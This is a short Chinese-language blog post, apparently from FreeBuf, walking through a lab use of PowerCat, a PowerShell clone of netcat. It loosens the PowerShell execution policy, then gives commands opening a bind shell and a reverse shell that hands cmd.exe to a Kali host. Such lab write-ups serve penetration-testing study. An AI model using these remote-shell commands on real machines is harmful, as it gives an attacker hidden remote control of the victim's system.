powercat使用分享（1） – 作者:Amada丶My

PowerCat是powershell版本的nc，PowerCat可以无缝的和Netcat连接。更加隐匿。

1.实验环境：

操作系统                        IP

windows server2016： 10.10.3.6

windows 7                    192.168.123.8 10.10.3.100

kali2020                        192.168.123.234

条件：

win7与server2016之间网络可达

win7与kali之间网络可达

kali与win2016网络不可达

（记得ping不通可能是防火墙策略）

运行-cmd，然后输入powershell

输入命令‘Import-Module .\powercat.ps1’

如果出现以下情况，是因为权限问题

（powercat.ps1是PowerShell写的脚本文本，你可以在记事本中写一段PowerShell代码，然后将其保存为“xxx.ps1”，后面要使用它的时候，双击即可运行了，但windows默认不支持脚本文件，需要进行处理。）

输入命令“Set-ExecutionPolicy remotesigned” ，然后输入“y”提升权限

（会存在需要管理员权限进行操作，以管理员运行cmd即可）

再次输入命令‘Import-Module .\powercat.ps1’

输入 “powercat -h”

2.通过netcat正向链接powercat

win7：powercat -l -p 8888 -e cmd.exe -v

kali：netcat 192.168.123.8 8888 -vv 正向链接成功

3.反向链接：

kali：netcat -l -p 8888 -vv

win7：powercat -c 192.168.123.134 -p 8888 -v

通过win7向kali传输数据。

（中文乱码：待解决）

kali：netcat -l -p 8888 -vv

win7：powercat -c 192.168.123.134 -p 8888 -v -e cmd.exe

感谢余师傅的虚拟机（省下了很多时间去安装）

powercat后续有一些功能：传输，生成payload，跳板下次更新。（主要是环境有一些问题哈哈）

大家五一快乐！！！！

来源：freebuf.com 2021-05-03 11:51:01 by: Amada丶My